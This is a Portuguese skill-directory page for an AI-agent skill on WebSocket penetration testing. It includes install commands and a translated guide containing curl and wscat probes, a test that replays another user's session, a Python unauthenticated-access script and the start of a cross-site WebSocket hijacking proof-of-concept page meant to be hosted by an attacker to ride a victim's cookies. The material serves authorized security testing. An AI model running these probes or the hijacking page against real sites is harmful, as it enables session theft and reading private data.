Pular para o conteúdo
Skillpedia
Segurança35 mil · #5765

exploiting-websocket-vulnerabilities

Ensina seu agente de IA a proteger aplicações contra ataques e testar o código e achar erros antes dos usuários.

O que ela faz

Esta ferramenta ajuda a verificar se conexões de internet em tempo real (chamadas WebSockets) em um site ou aplicativo têm falhas de segurança. Ela procura por maneiras de acessar informações sem permissão ou executar comandos indesejados.

Quando usar

  • ✓Quando você tem permissão para testar a segurança de um site.
  • ✓Ao verificar aplicativos que usam chat ou notificações em tempo real.
  • ✓Para garantir que as conexões de dados não possam ser interceptadas ou manipuladas.

Exemplo do que pedir para a IA

“Verifique as conexões WebSocket do site X para ver se é possível ler mensagens privadas sem ser o destinatário.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-websocket-vulnerabilities/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-websocket-vulnerabilities/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta simula diferentes tipos de ataques contra as conexões WebSocket. Ela tenta enviar mensagens maliciosas ou se conectar sem a devida autorização para encontrar vulnerabilidades.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-websocket-vulnerabilities

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-websocket-vulnerabilities/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Explorando Vulnerabilidades de WebSocket

Quando Usar

  • Durante testes de penetração autorizados quando o aplicativo usa conexões WebSocket para recursos em tempo real
  • Ao avaliar aplicativos de chat, notificações ao vivo, plataformas de negociação ou ferramentas de edição colaborativa
  • Para testar endpoints de API WebSocket em busca de falhas de autenticação e autorização
  • Ao avaliar fluxos de dados em tempo real em busca de vulnerabilidades de injeção
  • Durante avaliações de segurança de aplicativos que usam APIs Socket.IO, SignalR ou WebSocket nativas

Pré-requisitos

  • Autorização: Acordo de teste de penetração por escrito cobrindo testes de WebSocket
  • Burp Suite Professional: Com capacidade de interceptação de WebSocket
  • DevTools do Navegador: Aba Network para inspeção de frames WebSocket
  • websocat: Cliente WebSocket de linha de comando (cargo install websocat)
  • wscat: Cliente WebSocket Node.js (npm install -g wscat)
  • Python websockets: Para scripts de ataques WebSocket personalizados (pip install websockets)

Fluxo de Trabalho

Passo 1: Descobrir e Enumerar Endpoints WebSocket

Identifique conexões WebSocket no aplicativo.

# Check for WebSocket upgrade in response headers
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  "https://target.example.com/ws"

# Common WebSocket endpoint paths
for path in /ws /websocket /socket /socket.io /signalr /hub \
  /chat /notifications /live /stream /realtime /api/ws; do
  echo -n "$path: "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Upgrade: websocket" \
    -H "Connection: Upgrade" \
    -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
    -H "Sec-WebSocket-Version: 13" \
    "https://target.example.com$path")
  echo "$status"
done

# Check for Socket.IO
curl -s "https://target.example.com/socket.io/?EIO=4&transport=polling"

# Check for SignalR
curl -s "https://target.example.com/signalr/negotiate"

# In browser DevTools:
# Network tab > Filter: WS
# Look for ws:// or wss:// connections
# Examine the upgrade request and WebSocket frames

Passo 2: Testar Autenticação WebSocket

Verifique se as conexões WebSocket exigem autenticação adequada.

# Test connection without authentication
wscat -c "wss://target.example.com/ws"
# If connection succeeds without tokens, auth is missing

# Test with expired/invalid token
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=invalid_or_expired_token"

# Test connection with stolen/replayed session
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=valid_session_from_another_user"

# Test token in WebSocket URL parameter
wscat -c "wss://target.example.com/ws?token=invalid_token"

# Test if authentication is only checked at connection time
# Connect with valid token, then check if messages still work
# after the token expires or the user logs out

# Using Python for automated testing
python3 << 'PYEOF'
import asyncio
import websockets

async def test_no_auth():
    try:
        async with websockets.connect("wss://target.example.com/ws") as ws:
            print("Connected WITHOUT authentication!")
            # Try sending a message
            await ws.send('{"type":"get_data","resource":"users"}')
            response = await ws.recv()
            print(f"Response: {response}")
    except Exception as e:
        print(f"Connection failed: {e}")

asyncio.run(test_no_auth())
PYEOF

Passo 3: Testar Cross-Site WebSocket Hijacking (CSWSH)

Verifique se o handshake WebSocket é vulnerável a ataques cross-site.

# Check Origin header validation on WebSocket upgrade
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Origin: https://evil.example.com" \
  "https://target.example.com/ws"
# If 101 Switching Protocols: Origin not validated (vulnerable to CSWSH)
# If 403: Origin validation is working
<!-- Cross-Site WebSocket Hijacking PoC -->
<!-- Hospede em um servidor controlado pelo atacante -->
<html>
<head><title>CSWSH PoC</title></head>
<body>
<h1>Cross-Site WebSocket Hijacking</h1>
<div id="messages"></div>
<script>
// Isso se conecta ao WebSocket do alvo usando os cookies da vítima
var ws = new WebSocket("wss://target.example.com/ws");

ws.onopen = function() {
  console.log("WebSocket conectado (usando a sessão da vítima)");
  // Solicitar dados sensíveis através do WebSocket

…
Perguntas frequentes

O que são WebSockets?

São conexões persistentes entre o navegador do usuário e o servidor, permitindo a troca de dados em tempo real, como em chats ou jogos online.

Preciso de permissão para usar isso?

Sim, é crucial ter autorização por escrito antes de testar a segurança de qualquer sistema. Testes sem permissão são ilegais.

Quais ferramentas são necessárias?

Você precisará de ferramentas como Burp Suite, o console do navegador e alguns programas de linha de comando específicos para testar as conexões.

Detalhes

Descrição original do autor

Testing WebSocket implementations for authentication bypass, cross-site hijacking, injection attacks, and insecure message handling during authorized security assessments.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5765
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas